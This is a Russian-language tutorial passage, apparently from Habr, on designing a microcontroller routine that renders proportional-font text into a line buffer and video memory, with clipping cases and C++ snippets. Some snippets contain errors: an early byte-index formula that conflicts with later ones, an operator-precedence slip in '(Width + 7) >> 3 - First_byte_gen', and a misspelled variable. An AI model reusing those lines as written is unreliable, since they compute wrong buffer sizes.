Итерационным способом разрабатываются большие проекты, над которыми трудятся коллективы, и эта же форма организации труда годится для индивидуального применения. В этом случае речь идёт не о формальностях. Индивидуальный итерационный процесс проектирования не подразумевает запланированных встреч участников, которым нужно обменяться результатами и отчитаться, разработчик-то один. Итерация это просто ход следования мыслей. Индивидуальный итерационный процесс проектирования, это такой процесс проектирования ОА и УА, при котором каждую итерацию «допиливается» ОА и «подтягивается» УА. Как неоднократно упоминалось, эффективное проектирование это в первую очередь эффективный ОА, поэтому разработка начинается с него.
Выбор модели ОА
---------------
Проработка ОА начинается с самого нижнего уровня. Поскольку вывод данных в дисплей идёт потоковым побайтным заполнением видеопамяти через канал связи, то предположительно следует воспользоваться схемой с промежуточным строчным буфером, в который помещается «отпечаток» каждого символа (глиф, glyth), а после вывода всего текстового блока содержимое строчного буфера скидывается в дисплей потоками байтов, горизонтальными линиями во всю ширину текста и один пиксель высотой.
*Рисунок 6. Длинные линии потокового вывода из строчного буфера в видеопамять.*
Общая схема вывода выглядит как:
*Рисунок 7. Общая модель вывода*
В реализации А2 (напомню, что общая модель вывода та же самая, рис. 3 ) операционный автомат вывода в строчный буфер это очень универсальный, но в силу этого низкоэффективный ОА произвольного пиксельного переноса. Циклопотребление такого варианта **О(W\*H)**, т.е. пропорционально площади символа.
*Рисунок 8. Операционный автомат произвольного пиксельного переноса.*
Но как получить высокоэффективный ОА? Естественное решение — переносить биты сразу группами. Лучше всего было бы переносить символы операцией, разом копирующей весь прямоугольный массив отпечатка из знакогенератора в строчный буфер, циклопотребление такого варианта пропорционально **О(1)**. Однако, таких команд нет. Копировать символ в строчный буфер по строкам, это наиболее эффективный из доступных способов.
*Рисунок 9. Оптимальная схема переноса, лежащая в основе ОА для А1*
Построчный вывод символов из знакогенератора это техническое решение №1, оно обеспечивает фундамент будущей эффективности и уже можно дать первые оценки: циклопотребление такого варианта будет пропорционально количеству линий в символе **O(H)**, что, кстати, показано в предыдущей статье, [рис. 14.](https://habrahabr.ru/post/341888/#Costs_vs_size)
Следует учесть, что ширина символов в пикселях не пропорциональна ширине байта, и сам текстовый блок может начинаться не с границы байта. В таком случае невозможно скопировать содержимое знакогенератора байт в байт, требуется предварительный сдвиг каждой линии символа.
*Рисунок 10. Пояснение необходимости сдвига глифа перед выводом в строчный буфер*
Из иллюстрации рис. 10 видно, что в каждый байт строчного буфера может попасть несколько символов. Для того, чтобы несколько символов попадая в один байт не затирали друг друга, данные сдвигового регистра не копируются, а накладываются по *или*. Однако эта операция требует предварительной очистки буфера, что выливается в накладные расходы, которые в общем случае будут пропорциональны размеру строчного буфера в байтах, а его размер пропорционален количеству линий в шрифте. Рис. 11 подтверждает эту зависимость
*Рисунок 11. Зависимость **Общих накладных расходов** от количества линий в шрифте, для варианта с чисткой строчного буфера*
Подводя промежуточный итог, рабочая схема следующая:
* данные из знакогенератора копируются в регистр сдвига – одна линия символа за итерацию.
* там они сдвигаются на **`Current_shift`** пикселей
* уже сдвинутое содержимое регистра накладываются по *или* на определённый участок строчного буфера, который адресуется указателем **`Current_byte`**.
* строчный буфер должен быть заранее очищен.
* это повторяется для всех линий символа, после чего и **`Current_shift`** и **`Current_byte`** увеличиваются по формулам.
*Формула 1*
```
Current_byte = (Current_byte + (Current_shift + Width)) >> 3;
Current_shift = (Current_shift + Width) & 0x7;
```
*Рисунок 12. Базовая модель ОА вывода текстового блока*
Из формулы (1) в частности следует, что 7 позиций для переменной **`Current_shift`** (величина сдвига) это максимальное значение, любой сдвиг на большую величину ограничивается по модулю 8. Например, 12 битов превращаются в сдвиг на 4 пикселя и выгрузку сдвигового регистра на 1 байт правее.
*Рисунок 13. Ограничение сдвига по модулю 7*
Это была подготовительная итерация, выбор ключевых, стратегических решений. В этом варианте решение которое является рабочим, само напрашивалось, но бывают случаи, когда предметное изображение условий задачи даже не намекает, каким операционным автоматом их обрабатывать. В этом случае условия задачи можно подвергнуть математической обработке, и решать не исходную задачу, а математически тождественную, но более удобную (в дальнейших статьях я поясню это на примерах). Для серьёзных задач, возможно придётся даже рассмотреть ряд решений и произвести технические прикидки быстродействия и прочих ресурсозатрат, для чего может быть даже потребуется пройти дальше вдоль по описанной инструкции и выполнить одну–две последующие итерации. Во всяком случае, такой подход даёт возможность выбрать оптимальное решение и за приемлемое время.
На основе выбранного стратегического решения разрабатывается ОА. В ОА, напомню, идёт всё, что связано с непосредственным переносом и трансформацией данных, а в УА то, что будет нужно для работы ОА.
Итерация 1. Исходный ОА
-----------------------
Операционный автомат это полуфабрикат, он оптимально выполняет требуемую операцию с любыми допустимыми параметрами. В таком случае, УА это параметризация и запуск ОА. Такая структура даёт высокую гибкость и означает в частности, что сам ОА не меняет содержимого **`Current_shift`** и **`Current_byte`**. Он получает готовый набор параметров для выполнения всех перечисленных выше операций. Чтобы узнать, какие ещё потребуются параметры, рассмотрим как именно будет работать ОА. Выше я уже писал о важности наглядного изображения того явления, которое моделируется. Следует добавить, что важно изображать не только идеальный случай, но и «не удобные» варианты, которые связаны с граничными условиями. Это позволит избежать неверных решений, с последующей переделкой, возможно, всего ранее наработанного. Я акцентирую на этом внимание, потому что это психологически сложный момент — изображать моделируемое явление с самой трудной стороны, как бы усложняя себе задачу. Однако, *сложность решаемой задачи* вещь объективная, и не зависит от того закрываете вы глаза на неудобные моменты или нет, и единственное на что вы можете повлиять, это *сложность решения* данной задачи, и она будет минимально возможной, если искать решение изначально понимая с какими сложными моментами придётся столкнуться. Такой подход смещает ресурсозатраты разработки программы с этапа отладки (когда имеешь дело с кучей реализованных модулей) на этап проектирования (когда имеешь дело с чистым холстом).
Все символы разной ширины, поэтому нужен параметр – количество загружаемых байтов для каждой строки символа:
*Рисунок 14. Параметр bytes\_For\_load*
После загрузки каждую линию символа нужно сдвинуть. Надо отметить, что сдвиг происходит для разных микроконтроллеров по-разному. ARM-ы имеют эффективный механизм побитового сдвига на ширину до 32х битов за один цикл, и такой сдвиг можно просто добавить в качестве опции к другим командам, например арифметическим. В случае msp430 самая лучшая команда сдвига: 16 бит на 1 позицию. Однако, общая схема от этого не претерпевает изменений, только лишь замечу, для процессоров со сдвигом на 1 позицию (msp430) можно использовать более эффективную схему сдвига через ассемблерные вставки, команда «сдвиг через флаг переноса». Как крайний вариант (это относится и не только к Дисплею а вообще к разным ОА) можно писать ОА на макроассемблере, который развернёт сравнительно несложный код в массивы ассемблерных инструкций. Возможно, ассемблерная реализация не понадобится, я упомянул это чтобы указать, что есть дополнительный «козырь», пути для улучшения модуля «Дисплей», если это понадобится. При этом не потребуется переделка УА, потому что это часть концепции семейств ОА и УА, описанной в предыдущей статье.
*Рисунок 15. Семейства ОА и УА*
Со временем семейства операционных автоматов пополнятся множеством автоматов, что позволит применять эффективный полуавтоматизированный поиск среди них, что станет удобным инструментом разработки. Но, впрочем, для нашего примера, для «ручного» автоматного проектирования не нужны *семейства* ОА и УА, поэтому сосредоточусь на одном, выбранном варианте.
Сдвигать нужно все байты входящие в линию. Направление сдвига логично брать таким, чтобы количество позиций для сдвига было минимальным, однако, практический опыт говорит, что единообразие при осуществлении операций имеет немалую ценность, поэтому будет рассматриваться вариант сдвига вправо, а уже его можно реализовать так, чтобы он фактически выполнялся в более короткую сторону.
При некоторой величине сдвига количество байтов которые необходимо сдвигать может увеличиваться ещё на байт по сравнению с тем количеством байтов, которые нужно загружать.
*Рисунок 16. Параметр bytes\_For\_shift*
После сдвига содержимое сдвигового регистра скидывается в строчный буфер. На первый взгляд, количество байтов для вывода должно совпадать с количеством байт для сдвига, однако если представить, что крайний левый пиксель этого символа выступает слева за край экрана, то количество байтов для вывода не будет совпадать с количеством байтов для сдвига.
*Рисунок 17. Параметр bytes\_For\_out*
Общая схема ОА, таким образом, будет приблизительно следующей:
```
class tShift_buffer
{
public:
void Load (u1x *Source, int Bytes_amount);
void Shift(int Bits_amount, int Bytes_amount);
void Out (u1x *Destination, int Bytes_amount);
};
////////////////////////////////////////////////////////////////////////////
// ОА
void Out_symbol()
{
// ВЕРТИКАЛЬНЫЙ ЦИКЛ
for(int y = 0; y < Height; y++)
{
u1x * Glyph_line = Current_font->Image_for(* Text) + y * bytes_Width;
Shift_buffer.In (Glyph_line, bytes_For_load);
Shift_buffer.Shift (Current_shift, bytes_For_shift);
Shift_buffer.Out (&String_buffer [y][Current_byte], bytes_For_out);
}// for(int y = y0; y < Height; y++)
}// void Out_symbol()
```
Очевидно, что эффективность этого ОА напрямую зависит от того, как реализованы операции со сдвиговым регистром. Об этом далее, пока же представляется, что нет ничего сложного в том, чтобы реализовать их эффективно.
Теперь можно приступать к составлению модели управляющего автомата. Дальнейшая детализация ОА сейчас может завести в тупик. Это связано с тем, что выбор чрезвычайно эффективного ОА может привести к непомерным накладным расходам в УА и, соответственно, к неэффективности всей схемы. Кроме того, разрабатывая готовую схему ОА и не имея на руках даже модели УА, придётся держать эту модель в уме, что может привести просто к противоречивым требованиям, которые нельзя будет воплотить на практике. И, наконец, самое главное: чтобы понять насколько годная модель ОА с предыдущего листинга, нужно взглянуть на весь процесс с высоты, так сказать, птичьего полёта.
Итерация 1. Исходный УА
-----------------------
Итак, требуется исходная реализация УА, которая позволит детализировать ОА, прикидывая по ходу детализации, во что это выльется с точки зрения УА. Разработка УА неотделима от разработки ОА в силу того, что первый управляет параметрами второго. Разрабатывая УА, мы не прекращаем обсуждать ОА и его параметры, а наоборот, добавляем вычисление этих параметров и их начальных значений.
*Рисунок 18. Тесная взаимосвязь ОА и УА*
Соответственно, будет неплохо вести учёт параметров, для того чтобы никакие из них не оказались непроинициализированными или без управления со стороны УА, а так же чтобы их количество не росло сверх меры.
*Таблица 1. Параметры для работы ОА*
| | |
| --- | --- |
| **переменная параметр** | **формула** |
| **width** | **загрузка из знакогенератора** |
| **current\_byte, current\_shift** | **current\_byte = (current\_byte + (current\_shift + width)) >> 3;** **current\_shift = (current\_shift + width) & 0x7;** **current\_byte0 = 0;** **current\_ shift0 = x\_block & 0x7;** |
| **bytes\_for\_load, bytes\_for\_shift, bytes\_for\_out** | **определены далее** |
Такая таблица строится по мере составления автомата на черновике, как вспомогательная. Однако, возвращаясь к составлению некоторого «обобщённого, универсального автомата-шаблона», описанного в главе "*Взгляд в будущее*" предыдущей статьи, такая таблица может использоваться для описания УА и ОА в виде взаимных *export/public* объявлений с возможностью соединения тех из них, у которых совпадают наборы параметров, что будет использовано в системах автоматизированного проектирования.
Пробная версия УА.
Если бы требовалось выводить бесконечный текст, на бесконечно длинный строчный буфер, начиная с позиции 0, то УА был бы следующим
```
uchar * Text;
uchar String_buffer[y_string][x_max /* 0.Infinity */ ];
////////////////////////////////////////////////////////////////////////////
// УА
void Out_text_block(uchar * Text)
{
Current_shift = Current_byte = 0;
while(1)
{
Witdh = Current_font->Width_for(* Text);
bytes_For_load = (Width + 7) >> 3;
bytes_For_shift = (Width + Current_shift + 7) >> 3;
bytes_For_out = bytes_For_shift;
Out_symbol();
Current_shift = (Current_shift + Width);
Current_byte = (Current_byte + Current_shift) >> 3;
Current_shift &= 0x7;
Text++;
}
}// void Out_text_block(uchar * Text)
```
Однако мы имеем дело с реальным текстом конечной длины, более того, имеющим начальный сдвиг относительно окна вывода, и этот текст может не поместиться в окно вывода как сверху и снизу, так и слева и справа.
Случай, когда текст выступает за край окна вывода сверху или снизу.
Учёт ограничений снизу и сверху проще, чем справа и слева, поэтому начну с него. Может оказаться, что высота символа шире, чем полоса вывода, или начальный сдвиг текста может приводить к тому, что часть текста выступает сверху, или снизу, или сразу сверху и снизу.
*Рисунок 19. Варианты негабаритного текста по вертикали*
С точки зрения ОА такое поведение реализуется просто. Достаточно модифицировать показанный на листинге «ВЕРТИКАЛЬНЫЙ ЦИКЛ», который перебирает линии от **`0`** до **`Height`**, чтобы он перебирал линии от **`Start_line`** до **`End_line`**, где **`Start_line`** — номер верхней строки глифа которая попадает в буфер, **`End_line`** – номер первой строки (снизу) которая уже не попадает в диапазон перебираемых значений. То есть для символа 6x9 который полностью попадает в буфер **`End_line = 9`**.
Сначала определяется **`Start_line`**
```
if(y_block < y0)
{
Start_line = y0 - y_block;
}
else
{
Start_line = 0;
}
if( Start_line >= Height)
// Текст не попал в область вывода, не выводим
```
**`End_line`** ищется исходя из значения **`Start_line`**.
```
if( (y1 – y_block) >= Height)
{
End_line = Height;
}
else
{
End_line = y1 – y_block;
}
```
Случай, когда текст выступает за край окна вывода справа или слева.
По горизонтали дело обстоит сложнее в силу байтового группирования столбцов. Координата начала блока — **`x_block`**. Величина **`x_shift`** скомпенсирована, о ней можно не вспоминать.
*Рисунок 20. Пояснение положения начала текста относительно окна вывода*
Если `**x\_block > x0**`, то есть текст смещён вправо от левого края окна вывода, этот случай не требует особой обработки, обрабатывается так, как будто этого отступа нет – вычисляются значения описанных выше параметров и вперёд. Смещение влево **`x_block < x0`** обрабатывается по-другому, потому что часть текста не попадает на экран. Иллюстрация рис. 20, демонстрирует оба случая смещения. Работа только с положительными значениями проще для психики, поэтому **`Left_shift`** рассчитывается таким образом, что это положительная величина.
Лучше всего отражает картину «с высоты птичьего полёта» рис. 21.
*Рисунок 21. Классификация символов по типам.*
Значение **`Left_shift`** может оказаться таким, что первый символ или несколько первых символов не помещаются на экран (*тип 1*). Такие символы нужно пропустить.
Обязательно будет первый символ, попавший в строку целиком или частично (*тип 2*). Его стоит отличать от последующих символов (*тип 3*), потому что для символов *тип 2* требуется (помимо возможного отсечения слева) начальная инициализация переменных, а для символов *тип 3* результат каждой итерации это исходные данные для следующей. Вводить отдельный тип для первого символа который попал на экран целиком и для символа который частично вышел за границу не имеет смысла, потому что первый вариант — частный случай второго. Следует избегать плодить сущности потому что это усложняет общую картину, а это не способствует ни эффективности, ни надёжности.
Кроме этого, любой из символов *тип 2* и *тип 3* может оказаться последним в строке и даже выходить за край экрана справа.
*Рисунок 22. Выступающие справа символы*
Поскольку символы не кратны байтам, то символы типов 2, 2’, 3 и 3’ могут содержать пересекающиеся байты. Это байты в которых часть содержимого старая, из видеопамяти, а часть относится к выводимому тексту. Для вывода такого байта его содержимое загружается из видеопамяти, маскируется и накладывается на крайние байты строчного буфера. Хочу обратить внимание, что пересекающиеся байты могут появиться даже если символ помещается целиком. Пересекающиеся байты это способ согласования содержимого строчного буфера (данные в котором в общем случае не выровнены на границу байтов) и видеопамяти.
*Таблица 1. Параметры для работы ОА. Продолжение*
| | |
| --- | --- |
| **переменная параметр** | **формула** |
| **left\_shift** | **if****(****x****\_****block****>=** **x****0)****left****\_****shift** **= 0;****else****{****left****\_****shift** **=** **x****0 –** **x****\_****block****;****x****\_****block** **=** **x****0;
}** |
Приняв описанную концепцию типов символов, можно определить модель работы управляющего автомата, описываемую диаграммой состояний на рис. 23
*Рисунок 23. Модель работы управляющего автомата*
Как я уже отмечал ранее, диаграмма состояний помимо описания автомата, одновременно является схемой описания алгоритма, альтернатива граф-схемам. По ней элементарно можно составить программную реализацию. Цветами выделен текст программы, соответствующий состояниям.
**Листинг 1. Каркас УА.**
Параметр **`Line_width`**, показывает достигнут конца окна вывода или нет
*Таблица 1. Параметры для работы ОА. Продолжение*
| | |
| --- | --- |
| **переменная параметр** | **формула** |
| **line\_width** | **line****\_****width****=** **line****\_****width** **—** **width****;****line****\_****width****0** **=** **x****1 –** **x****\_****block****;** |
[Делаем коммит](https://bitbucket.org/dashingresearches/display_a1/commits/9dc024648aafb902236a672be8ed6ddbb46ae9ec)
Это ещё не рабочее приложение, вместо ОА используются заглушки, которые отображают в отладочном Memo: символ, ширина, тип по нашей классификации(2,2а,3,3а). Для символов тип 2/2a дополнительно отображается величина сдвига **`Left_shift`**.
Ситуация в общем понятная. Следующая задача — получить в первом приближении рабочий модуль ОА.
Итерация 2. ОА
--------------
Имеются символы трёх типов 1, 2 и 3 и двух подтипов 2’ и 3’. Логично использовать для их вывода специализированные на каждый тип ОА.
Символы полностью не попадающие в окно вывода.
Те символы, которые из-за сдвига влево полностью не попали в область отображения, на рисунке показаны цифрой 1, их обрабатывать проще всего, достаточно «прокрутить» все символы, не попадающие в область отображения.
```
// Контроль конца строки,
while(Text < Text_end)
{
Width = Current_font->Width_for(*Text);
// Прокручиваем символы пока не попадём в область отображения
if(Left_shift >= Width)
{
Left_shift -= Width;
Text++;
}
else
goto Type_2;
}// while(Text < Text_end)
```
Символы помещающиеся в окно вывода целиком.
*Тип 3* это основной тип символов, который уже был описан ранее. Для его обработки нужны параметры **`Current_byte`** (известен от предыдущего символа), **`Current_shift`** (известен от предыдущего символа), **`bytes_For_load, bytes_For_shift, bytes_For_out`**.
*Рисунок 24. Параметры символов тип 3*
Поскольку фактически вычисления происходят в алгебраическом кольце, не избежать краевых эффектов.
*Рисунок 25. Пояснение к вычислению параметров для тип 3*
Пользуясь иллюстрацией рис. 25 несложно составить формулы вычисления параметров.
```
bytes_For_load = (Width + 7) >> 3;
bytes_For_shift = (Width + Current_shift + 7) >> 3;
bytes_For_out = bytes_For_shift;
Current_shift_next = (Current_shift + Width) & 0x7;
Current_byte_next = Current_byte + ( (Current_shift + Width) >> 3 );
```
Символы, выступающие только справа.
*а)*
*б)*
*Рисунок 26.Параметры символов тип 3а*
Величина  это остаток строки  на момент когда происходит событие *Достигнута граница окна вывода*, то есть символ *тип 3а* не помещается на экран целиком . «Выпадает» правая часть символа.
Таким образом, случай *тип 3а* сводится к случаю *тип 3*, с заменой ширины символа  на значение . Однако, в отличии от «истинных» *тип 3*, глиф знакогенератора всё же содержит пиксели правее чем  пикселей, поэтому на правую часть правого байта символа накладывается маска, которая определяется координатой окна вывода **`x1`**. И как и в прошлом случае, имеем дело с алгебраическим кольцом. Поскольку этот случай сводится к предыдущему, иллюстрация ниже, в общем, не нужна, но с её помощью можно избежать неожиданных нестыковок.
*Рисунок 27.Пояснение к вычислению параметров для тип 3а*
```
Width = Line_width;
bytes_For_load = (Width + 7) >> 3;
bytes_For_shift = (Width + Current_shift + 7) >> 3;
bytes_For_out = bytes_For_shift;
Right_mask = sb_Right_mask[ (Current_shift + Width) & 0x7];
Current_shift_next = (Current_shift + Width) & 0x7;
Current_byte_next = Current_byte + ( (Current_shift + Width) >> 3 );
```
Символы выступающие слева.
*Тип 2*, может частично выходить за границу окна отображения, левая часть может не попадать на дисплей.
*Рисунок 28. Символы тип 2*
Моделирование выхода символа влево за границу окна вывода можно реализовать, сдвинув свежезагруженный символ на **`Left_shift`** пикселей влево, после чего сдвинуть на **`Current_shift`** вправо.
*Рисунок 29. Схема сдвига для тип 2. Вариант лабораторный*
Но вместо того, чтобы выполнять два противоположно направленных сдвига, можно заменить их одним, результирующим. При этом придётся наложить маску (в предыдущем случае ненужные пиксели удалялись сами, «вываливанием» из сдвигового регистра).
```
Result_shift = Current_shift - Left_shift;
```
На результат сдвига накладывается маска, соответствующая **`Current_shift`**
*Рисунок 30. Схема сдвига для тип 2. Вариант рабочий*
Конкретно для данного примера вместо сдвига на 8 позиций (5+3) получается сдвиг на 2 позиции (5-3) для микроконтроллеров с однопозиционным сдвигом. Это актуально для микроконтроллеров msp430. Для ARM7 вместо двух операций сдвига (влево и вправо) появляется одна сдвига и одна наложения маски, что в общем равнозначно.
*Таблица 1. Параметры для работы ОА. Продолжение*
| | |
| --- | --- |
| **переменная параметр** | **формула** |
| **result\_shift** | **result\_shift = current\_shift — left\_shift;** |
*Рисунок 31.Параметры для символов тип 2*
Если сдвиг **`Result_shift`** направлен вправо, то с точки зрения рассчёта параметров этот случай является повторением случая *тип 3*, только роль переменной **`Current_shift`** играет **`Result_shift`**, плюс нужно накладывать маску, отсекающую слева **`Current_shift`** пикселей.
Если результирующий сдвиг направлен влево, это другой случай. Иллюстрация рис. 32 даёт представление о том и другом случаях.
*Рисунок 32. Пояснение к расчёту параметров для символов тип 2*
Хочу обратить внимание, что значение **`Left_shift`**, в отличие от **`Current_shift`** может превышать 7 пикселей (но в силу алгоритма оно всегда будет меньше чем ширина символа **`Width`**). Соответственно, это может приводить к тому, что один или несколько байтов строки символа полностью выпадают (слева) из сдвигового буфера, как например для *LS = 10..12*, то есть их можно вообще не загружать, экономя. Учитывая маску **`Left_mask`** получается, что в случае сдвига *LS = 8,9* байт, который содержит пиксели 0..7, хоть и не выпадает из сдвигового регистра полностью, но ни один его пиксель не попадает на экран, поэтому его тоже можно не загружать. Для реализации такого поведения требуется ввести переменную **`First_byte_gen`** – индекс первого загружаемого байта из знакогенератора, то есть, какой по счёту байт строки знакогенератора пойдёт в нулевой байт сдвигового регистра. С каждым проигнорированным байтом значение **`Left_shift`** уменьшается по модулю на 8. При таком подходе значение **`Left_shift`** не превысит 7 пикселей.
*Рисунок 33. Пояснение к ограничению величины Left\_shift.*
Главный недостаток такого подхода, что сдвиг **`Result_shift`** направлен либо вправо, либо влево, что противоречит упомянутой выше концепции о предпочтительности единообразия технических приёмов. Сдвиг влево (до 7 позиций) можно заменить сдвигом вправо если загружать данные для сдвига байтом левее. Это проиллюстрировано рис. 34, красная линия показывает первый байт в строчном буфере, начиная с которого загружаются строки глифа.
*Рисунок 34. Замена сдвига влево на сдвиг вправо.*
От предыдущего случая этот вариант отличает то, что в случае отрицательного **`Result_shift`** вместо сдвига влево используется загрузка на байт левее и сдвиг вправо. Выгрузка данных из регистра сдвига в строчный буфер, *всегда начинается с байта индекс 1*.
На первый взгляд, кажется, что количество позиций для сдвига увеличилось: вместо сдвига -2 получился сдвиг 6. Однако в то же время, вместо сдвига – 5 получился сдвиг на 2 позиции. Если брать предельный случай **`Current_shift = 0`**, такая замена даст
*Таблица 2. Зависимость фактического сдвига от величины Left\_shift при разных схемах организации сдвига*
| | |
| --- | --- |
| **left\_shift & 0x7** | **result\_shift** |
| **по рис 32** | **по рис 3****3** |
| **0** | **0** | **0** |
| **1** | **-1** | **7** |
| **2** | **-2** | **6** |
| **3** | **-3** | **5** |
| **4** | **-4** | **4** |
| **5** | **-5** | **3** |
| **6** | **-6** | **2** |
| **7** | **-7** | **1** |
Учитывая, что значения величин **`Left_shift & 0x7`** и **`Current_shift`** равновероятны в диапазоне 0..7 я посчитал распределение вероятностей абсолютного значения величины **`Result_shift`** (которая определяет фактический побитовый сдвиг)
*Таблица 3. Оценка стоимости — величины пропорциональной удельному циклопотреблению символов тип 2*
| | |
| --- | --- |
| **по рис. 33.** | **по рис. 34.** |
| **|RSi|** | **вероятность** **p** | **RSi** | **вероятность** **p** |
| **0** | **0.125** | **0** | **0.125** |
| **1** | **0.21875** | **1** | **0.125** |
| **2** | **0.1875** | **2** | **0.125** |
| **3** | **0.15625** | **3** | **0.125** |
| **4** | **0.125** | **4** | **0.125** |
| **5** | **0.09375** | **5** | **0.125** |
| **6** | **0.0625** | **6** | **0.125** |
| **7** | **0.03125** | **7** | **0.125** |
| **стоимость** **∑** **Pi \* |RSi|** **3.625** | **стоимость** **∑** **Pi \* RSi** **4.5** |
В нижней строке таблицы приведён параметр *Стоимость*, который пропорционален циклопотреблению операции сдвига первого символа строки при бесконечной эксплуатации. Вариант показанный на рис. 34 проигрывает на 25%, но это не в разы и поскольку циклопотребление именно этой операции невелико в общем циклопотреблении, будет выбран второй вариант, поскольку соответствует концепции единообразия.
Для чего тогда эта таблица? При реальной разработке она не понадобилась бы, и здесь я привёл её чтобы рассеять сомнения в неэффективности преобразования проиллюстрированного рис. 34. Кроме того, поскольку статья учебная, это пример проектирования в инженерном смысле этого слова, я хочу продемонстрировать, как можно оценивать эффективность тех или иных решений.
В итоге получились формулы для определения параметров:
```
Current_shift = x_block & 0x7;
First_byte_gen = Left_shift >> 3;
int Corrected_Left_shift = Left_shift & 0x7;
Left_mask = sb_Left_mask[Current_shift];
// Вместо Result_shift используется переменная Current_shift
if(Corrected_Left_shift <= Current_shift ) // Result_shift > 0
{
Current_shift -= Corrected_Left_shift;
First_byte_reg = 1;
bytes_For_load = (Width + 7) >> 3 - First_byte_gen;
bytes_For_shift = (Width + Current_shift + 7) >> 3 - First_byte_gen;
bytes_For_out = bytes_For_shift;
// Поскольку часть символа оказалась за пределами экрана, нужна коррекция, чтобы правильно учитывать при уменьшении Line_width
Width -= Left_shift;
}
else
{
Current_shift = Current_shift - Corrected_Left_shift + 8;
First_byte_reg = 0;
bytes_For_load = (Width + 7) >> 3 - First_byte_gen;
bytes_For_shift = (Width + Current_shift + 7) >> 3 - First_byte_gen;
bytes_For_out = bytes_For_shift - 1;
}
Current_shift_next = (Current_shift + Width) & 0x7;
Current_byte_next = Current_byte + ( (Current_shift + Width) >> 3 ) - First_byte_gen;
```
Символы выступающие и слева и справа
Самый комплексный случай. Он как бы совмещает в себе случай 2 и 3а.
*а)*
*б)*
*Рисунок 35. Параметры для символа тип 2а,*
Символ *тип 2а*, является модифицированным случаем *тип 2*, у которого «выпадает» и левая и правая часть символа.
Величина  это остаток строки  на момент когда происходит событие *Достигнута граница окна вывода*. Как и в случае пары *3/3а*, *тип 2а* сводится к *тип 2*, с заменой ширины символа  на значение . Аналогично, в отличии от «истинных» *тип 2*, глиф знакогенератора всё же содержит пиксели правее чем  пикселей, поэтому на правую часть правого байта символа накладывается маска, которая определяется координатой окна вывода **`x1`**. И так же как и во всех предыдущих случаях, имеем дело с алгебраическим кольцом. Иллюстрация рис. 36 демонстрирует все аспекты расчёта параметров.
*Рисунок 36. Пояснение к расчёту параметров для символов тип 2а*
Это реализуется следующим образом
```
Width = Line_width;
Current_shift = x_block & 0x7;
First_byte_gen = Left_shift >> 3;
int Corrected_Left_shift = Left_shift & 0x7;
Left_mask = sb_Left_mask[Current_shift];
Right_mask = sb_Right_mask[ (Current_shift + Width) & 0x7];
if(Corrected_Left_shift <= Current_shift ) // Result_shift > 0
{
Current_shift -= Corrected_Left_shift;
First_byte_reg = 1;
bytes_For_load = (Width + 7) >> 3 - First_byte_gen;
bytes_For_shift = (Width + Current_shift + 7) >> 3 - First_byte_gen;
bytes_For_out = bytes_For_shift;
// Поскольку часть символа оказалась за пределами экрана, нужна коррекция, чтобы правильно учитывать при уменьшении Line_width
Width -= Left_shift;
}
else
{
Current_shift = Current_shift - Corrected_Left_shift + 8;
First_byte_reg = 0;
bytes_For_load = (Width + 7) >> 3 - First_byte_gen;
bytes_For_shift = (Width + Current_shift + 7) >> 3 - First_byte_gen;
bytes_For_out = bytes_For_shift - 1;
}
Current_shift_next = (Current_shift + Width) & 0x7;
Current_byte_next = Current_byte + ( (Current_shift + Width) >> 3 ) - First_byte_gen;
```
Вывод строчного буфера в видеопамять.
После того, как сформировано изображение в строчном буфере, оно скидывается в видеопамять. Для этого требуется определить, соответствие между байтами видеопамяти и байтами строчного буфера, см. рис. 37.
*Рисунок 37. Соответствие координат байтов видеопамяти и строчного буфера*
Горизонтальный индекс байтов левого края окна в видеопамяти определяется по формуле
```
Left_screen_byte = x_block >> 3;
```
В строчном буфере этому байту соответствует байт начальное значение **`Current_byte`**:
```
Current_byte = 0;
```
Адрес начального байта каждой пиксельной строки *видеопамят*и вычисляется по формуле
```
vm_Left_screen_byte_for_line = y_vm * x_max_bytes + Left_screen_byte;
```
Адрес начального байта каждой пиксельной строки *строчного буфера* вычисляется по формуле
```
sb_Left_screen_byte_for_line = y_sb * x_max_bytes;
```
Ширина **`x_max_bytes`** видеопамяти и строчного буфера совпадает.
Текст может закончиться прежде, чем будет достигнута граница окна вывода, поэтому правый байт рассчитывается на основании величины **`Current_byte`** на момент окончания строки, а маска для правого байта рассчитываются не на основе координаты **`x1`**, а на основе фактического значения **`Currnt_shift`** на момент окончания строки.
Вопросы маскирования поясняет рисунок.
*Рисунок 38. Пояснение к маскированию крайних байтов при выводе в видеопамять*
Накладывать содержимое видеопамяти на пересекающиеся байты можно не на стадии вывода в строчный буфер, а уже скидывая строчный буфер в видеопамять. В общем случае процедура вывода из строчного буфера в видеопамять будет следующая:
*Рисунок 39. Диаграмма состояний для процесса вывода строчного буфера в видеопамять*
Теперь имеется достаточно информации, для того, чтобы построить работающий УА на основе созданного в прошлой итерации каркаса.
Итерация 2. УА соберём всё вместе
---------------------------------
Требования к УА не поменялись, но определены параметры которые нужно вычислять на этапе инициализации. Напомню, что величина **`x_shift`** к этому моменту компенсирована
**Управляющий автомат для Автомата вывода текстовых блоков**
```
void tDisplay_A1::Out_text_block ()
{
x_block = x0 + x_rel + x_shift;
y_block = y0 + y_rel + y_shift;
Text = Text_begin;
if(x_block < x0)
{
Left_shift = x0-x_block;
x_block = x0;
}
else
Left_shift = 0;
Line_width = x1 - x_block;
if(Line_width <= 0)
return;
////////////////////////////////////////
Type_1:
// Пока не конец строки
while(Text < Text_end)
{
Width = Current_font->Width_for(*Text);
// Прокручиваем символы пока не попадём в область отображения
if(Left_shift >= Width)
{
Left_shift -= Width;
Text++;
}
else
goto Type_2;
}// while(Text < Text_end)
// Конец строки
return;
////////////////////////////////////////
Type_2:
// Достигли границы?
if(Line_width <= Width)
{
Width = Line_width;
Current_shift = x_block & 0x7;
First_byte_gen = Left_shift >> 3;
int Corrected_Left_shift = Left_shift & 0x7;
Left_mask = sb_Left_mask[Current_shift];
// Вместо Result_shift используется переменная Current_shift
if(Corrected_Left_shift <= Current_shift ) // Result_shift > 0
{
Current_shift -= Corrected_Left_shift;
First_byte_reg = 1;
bytes_For_load = (Width + 7) >> 3 - First_byte_gen;
bytes_For_shift = (Width + Current_shift + 7) >> 3 - First_byte_gen;
bytes_For_out = bytes_For_shift;
// Поскольку часть символа оказалась за пределами экрана, нужна коррекция, чтобы правильно учитывать при уменьшении Line_width
Width -= Left_shift;
}
else
{
Current_shift = Current_shift - Corrected_Left_shift + 8;
First_byte_reg = 0;
bytes_For_load = (Width + 7) >> 3 - First_byte_gen;
bytes_For_shift = (Width + Current_shift + 7) >> 3 - First_byte_gen;
bytes_For_out = bytes_For_shift - 1;
}
Current_shift_next = (Current_shift + Width) & 0x7;
